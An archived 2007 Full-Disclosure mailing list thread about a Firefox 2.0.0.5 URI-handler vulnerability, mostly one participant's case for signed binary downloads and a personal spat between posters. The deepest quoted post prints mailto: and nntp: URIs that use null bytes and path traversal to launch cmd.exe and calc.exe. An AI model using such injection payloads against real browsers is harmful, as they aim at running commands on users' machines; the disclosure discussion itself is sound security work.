Re: [Full-disclosure] FIREFOX 2.0.0.5 new vulnerability



It was a joke Waldo, relax man. Geez people take life to seriously. If you
noted the smiley face I put at the end of your PGP Key, you would see that I
was trying to clue you into the joke myself. As for the rest, it seems like
that is a coment for Mozilla and not for me; however, you original email was
not very clear in that.

Relax it back man, it's almost time for Vegas... don't take every joking
email you get so seriously, it could be bad for your health in the long run.

Nate

On 7/27/07, wac <waldoalvarez00@xxxxxxxxx> wrote:

Hi Nate:

On 7/25/07, Nate McFeters <nate.mcfeters@xxxxxxxxx > wrote:

Hey Waldo,

As always with exploits, it's difficult to predict how they will
interact in every environment they may be accessed in.


No is not with the exploit. I actually haven't tried it. In fact I'm a
little outdated (and with a couple extra bugs).

MFSA 2007-25<http://www.mozilla.org/security/announce/2007/mfsa2007-25.html>XPCNativeWrapper pollution
MFSA 2007-24<http://www.mozilla.org/security/announce/2007/mfsa2007-24.html>Unauthorized access to wyciwyg:// documents
MFSA 2007-23<http://www.mozilla.org/security/announce/2007/mfsa2007-23.html>Remote code execution by launching Firefox from Internet Explorer
MFSA 2007-22<http://www.mozilla.org/security/announce/2007/mfsa2007-22.html>File type confusion due to %00 in name
MFSA 2007-21<http://www.mozilla.org/security/announce/2007/mfsa2007-21.html>Privilege escalation using an event handler attached to an element not in
the document
MFSA 2007-20<http://www.mozilla.org/security/announce/2007/mfsa2007-20.html>Frame spoofing while window is loading
MFSA 2007-19<http://www.mozilla.org/security/announce/2007/mfsa2007-19.html>XSS using addEventListener and setTimeout
MFSA 2007-18<http://www.mozilla.org/security/announce/2007/mfsa2007-18.html>Crashes with evidence of memory corruption

I have 2.0.0.4 here and I'll wait for 2.0.0.6 so I can skip at least one
update. So there is no point to test that bug. Updates come sometimes in
days. Is hard to follow over a dialup, even automatic updates take a while.
I prefer to download a full version instead of an auto update because that
way I don't have to download the updates again if someday I decide to
reinstall it or something. If you could apply updates to setups and
automagically for example get 2.0.0.5 out of 2.0.0.1 well that could be
great too but I guess that is to ask too much for now. Keep in mind that
with Internet Explorer you can do something like this so is *better* in that
area. Yes I know diff and patch could do the trick for open source programs
but then that is not productive (and not everyone is capable of that and not
everyone has time for that however I'm considering to download the build
environment + FF sources just to get away from those tedious downloads if
they decide to maybe provide us with a .diff from version to version because
downloading 36 Mb from CVS is not funny over dialup. CVS can't resume).

I'm sure the bug is there because on 2.0.0.4 when I click on a mailto:
urls or left click on a page and I click on "send link" I get 45 explorers
opened, sometimes other numbers it depends. Probably that is related to the
bug, 2.0.0.1 was not giving me this. Maybe that info is useful to track
the bug too. Is so broken right now. (I took administrative rights away from
the account I'm using and I don't have a default mail application
installed). To be fair is not completely a FF fault. I tried a mailto URL in
IE and it does the same thing (that's not my concern I don't use that thing.
Is simply wasting space in my hardrive). FF is broken in the way that it
tries to open it without checking that a default MTU is installed. And I
really care about this one. And I don't like at all that it tries to open
the MTU when clicking on those URLs without too much choices to change that.


If you have
launch external URI's on by default, the tab issue will come up;
however, the exploit should still occur.





I'd recommend turning off
the launch external URI's feature for your own safety though.


Yes probably Acrobat Reader shares the guilt this time reconfiguring my
Firefox (and everybody's else around) when installed without telling me. Hey
what about the browser detecting that kind of modification by third party
software? I'm sure that acrobat is not the only one doing that without
telling you.

Also those media files open by default with media player plugin. Many
times we have seen those kind of files being the source of security holes.
The point is that it comes that way by default. Many users have no idea on
how to disable them even if they know that exists. I believe that should be
disabled by default or if that removes functionality to the browser ask the
user for that. That also would be a great future feature. What about asking
the user during setup to enable/disable that? Choose functionality/security.
Looks to me like a good option.

Or what do you mean this?

// handle external links
// 0=default window, 1=current window/tab, 2=new window, 3=new tab in most
recent window
pref("browser.link.open_external", 3);

now try to tell a user to change firefox.js You call that security?


Additionally, not sure why you want a hashed version of this flaw...


Of course you can't be sure. I wasn't talking about the bug at all. I was
talking about the browser. You got it all wrong. To be fair I forgot to
mention that I replied about firefox not about the bug, ok my mistake. I was
referring to the browser binary (Firefox). Sorry If I mixed things a little
bit however I believe you also jumped too fast. Ok let's make this more
clear so those who *could not get the point* right away like you can get the
message this time.

I believe if it is digitally signed you could check that signature after
you download. Maybe is an utopia to get that for every binary you download
but I think that would be ok to get at least some things signed. Firefox is
certainly one of the most downloaded things around and it would be great to
at least call attention on that by giving the example. The point is binaries
could be modified on the fly maybe not even by a person (could be a virus or
worm in order to get inside a new host) yet your are "downloading from a
trusted website". See the problem now?

Imagine a proxy (giving you a modified version could be as easy as to
modify a cached file) or some computer that relays data gets infected and
then the malware modifies every exe that passes through that computer. The
point is that even if you follow security measures you are at the mercy of
somebody else in the middle or their mistakes (those in the middle could be
compromised, don't forget that). Should users computers be compromised too
if a server in the middle is compromised? Think about that. So it would be
great if binary distributors sign their binaries(at least binaries). Those
public keys could be provided to people over SSL once (meaning little SSL
traffic) ensuring that nobody plays with them in the middle and gives you
another public key.

I believe binary distributors do not distribute over SSL because It simply
eats too much CPU in the servers to encrypt all that data and is also not
cacheable and not compressible. But a digital signature could be a perfect
solution to that. Such signature doesn't even need to be embedded into
binaries (could be detached) and doesn't needs to be distributed over safe
channels.

gpg -b -a file.exe

is something really easy and fast to do by distributors

and very easy to verify too by downloaders
gpg -v file.exe.asc

and is free software freely available to everyone too so no expensive
license, works on lots of different platforms

and no expensive SSL eating CPU in the servers except to download the
public keys that needs to be done only once. Systems (web applications for
example) doesn't even need to be changed since is as easy as to provide an
additional download link. A good deal in my opinion.

Is very common to see downloads with a hash (MD5 SHA ...) but then the
page that offer those hashes is modifiable by means of MITM attacks. If I
download the file and somebody filters every hash like the original (even on
different websites) and provides the hash of the modified file then we are
all running ejem pretty insecure on the internet. Anyone can generate a hash
but not a signature. Now you have to trust the distributor but also the
connection provider and all the of the servers in the middle between you and
the webserver (sometimes over wireless or satellite links and those in the
middle changing all the time from website to website). We are trusting too
much. Don't you think? We also right now can't receive a file from an
untrusted source (unless of course you get the hash over a safe channel).
With a signature you don't even need to go and get the hash.

OK a simpler example so you can understand.

Suppose you need a setup file from me and you have no other way to get it
(I am your ISP, a compromised server, whatever malicious thing you can have
in the middle, or simply a guy on the street, yes a guy in the street
messing with your wireless thing. Remember you are not talking directly to
the datacenter backbone)

Scenario 1:
You say to me
- Give me the file.
- Ok take it (I putted a trojan inside).
- Give me the hash.
- Ok take It (I give you another one I generated).
- Tell steve to give me his hash
- Steve give me the hash (asking another webserver)
- Sure
- Sure steve told me that the key is this one (I tell you the very same I
generated and throw away Steve's hash)

Now you swallow the thing because your antivirus or anti whatever piece of
thing you could have with whatever heuristics, emulation engine, anti
metamorphic or whatever piece of technothing you pay for and enslaves you to
keep up to date could not detect it and tells you that is safe. yet...
------> you get infected

Scenario 2:
- Give me the file.
- Take it (I putted a trojan inside).
- Give me the signature (you already have the public key from the
distributor).
- I don't have the signature (or I give you a another one).
Then you delete the file if you don't get the signature or if the
verification fails ------> you are safe

Scenario 3:
- Give me the file
- Take it (no modification this time).
- Give me the signature (you already have the public key from the
distributor).
- Ok take the signature.
Now you verify and you can install it without doubts (note that you never
needed an anti-whatever) yet.. ------> you are safe

Scenario 1 is what we all usually do today when we download files from the
internet. But worse is what they tell you to do. Download only from safe
places (what is a safe place? a safe website?). Keep your antivirus up to
date etc etc. Yeahh your antivirus up to date. Until it is face to face with
a modified version of morphine or whatever protector around covering your
favorite worm.

Resuming something like this

http://releases.mozilla.org/pub/mozilla.org/firefox/releases/2.0.0.5/source/firefox-2.0.0.5-source.tar.bz2.asc


but for binaries not only sources. And the public key visible by everyone
over SSL. Today you first have to hunt for the key and the signature is only
provided for the source packages.

ftp://ftp.mozilla.org/pub/mozilla.org/firefox/releases/2.0.0.5/KEY.


FTP = Anybody can modify that in transit.

Then you can read there:

Please realize that this file itself or the public key servers may be

compromised. You are encouraged to validate the authenticity of these keys in
an out-of-band manner.

...

Mozilla developers: please ensure that your key is also available via the
PGP keyservers (such as
pgpkeys.mit.edu).


Then after digging in pgpkeys.mit.edu you can finally find it here


http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x0E3606D9


All of that comes in clear text even if you try to use SSL for pgp.mit.edu.
Where is the security? Nowhere. The security of the world fits in a cup of
coffee. Period.

Now you could ask yourself: "Sure but why Firefox? That applies to all
sort of binaries around." Yes unfortunately it does. But then browsers are
sensitive software. But then FF is pretty popular (and growing) and should
serve as an example to others. Is open source so no problem about sharing it
at all since was made to be shared. That's why. Why not X company? Remember
they are too "superior" to even listen so I won't waste my time with them.
However I know some of them are already reading this and I hope that at
least they start to consider that.



it's not like we are passing you an executable... if you are concerned
that it will be modified in transit, you could always visit
httpS://xs-sniper.com <https://xs-sniper.com/>.


Don't worry I have absolutely no intention to visit your website that
takes advantage of someone's else findings for you own advertising profit. I
can find better information about that in bugzilla. And next time save your
S. You are typing extra.

I'd think SSL would provide more than
reasonable security around that concern.

If you need more, you could send me your private PGP key and I could
send the exploit to you directly. :)


Sure I can send you one of my *private* keys + public revocation
certificate (or an expired private key). But then why waste my time? Maybe
If I send you a public one you can try to play with Shor (I recommend you to
first try to understand emails or get a brain before you try that). Remember
that you need to buy a computer with 8195 qubits to run the Period finding
routine. You can't do that with your Pentium X. Try your local dealer !!

Pissed off? Yes I know that last part really stinks. With that I'm paying
you with the very same coin so you can see how it looks from the other side.
The point? Don't do to others what you don't like to get back. Try that
option next time!! Take it as a lesson. And grow buddy, you are still in the
part "I'm l33t and better than everyone" the part when you honestly look
like a... (a word that you won't properly interpret) . No offense this time.

Have a nice day
Waldo


Thanks,

Nate

On 7/25/07, wac < waldoalvarez00@xxxxxxxxx> wrote:
Well I hope the next version won't open 45 internet explorers when I
click
the mailto URLs. And that when you download something you don't have
the
save button enabled by default (and with that delay to avoid return
hits
security things) It should have enabled by default the cancel button.
Instead of everybody having to wait a century to get the save button
activated. Is so broken that way. Ahh and to prevent clicks the dialog

displayed somewhere away from the mouse pointer. Ahh and by default no
having enabled the open with when you download but the save as
(somebody can
hit enter without noticing). Hey maybe configurable?

And what about providing in the website some hash over SSL so you can
verify
that is was not modified on the fly when you download? I mean
encrypting
every download around is simply brain dead but a hash is OK. Hey what
about
a digital signature you could verify with a public key? Zero overload
on
servers ;)

Regards
Waldo Alvarez.

On 7/25/07, Mesut EREN < meren@xxxxxxxxxxxxxxxxxxx> wrote:




Hi all,

FF 2.0.0.5 new remote code Execution vulnerability, I tested FF
2.0.0.5 .
But don't work is code.

Example code is

mailto:%00%00../../../../../../windows/system32/cmd".exe
../../../../../../../../windows/system32/calc.exe " - "
blah.bat

nntp:%00%00../../../../../../windows/system32/cmd".exe
../../../../../../../../windows/system32/calc.exe " - "
blah.bat

Where i missing?



Mesut EREN
BAŞAK ÇATI & CEPHE SİSTEMLERİ
Bilgi İşlem Sorumlusu

MCSA:S,MCSE:S,CEH,CCNA

meren@xxxxxxxxxxxxxxxxxxx




_______________________________________________
Full-Disclosure - We believe in it.
Charter:
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/



_______________________________________________
Full-Disclosure - We believe in it.
Charter:
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/




_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/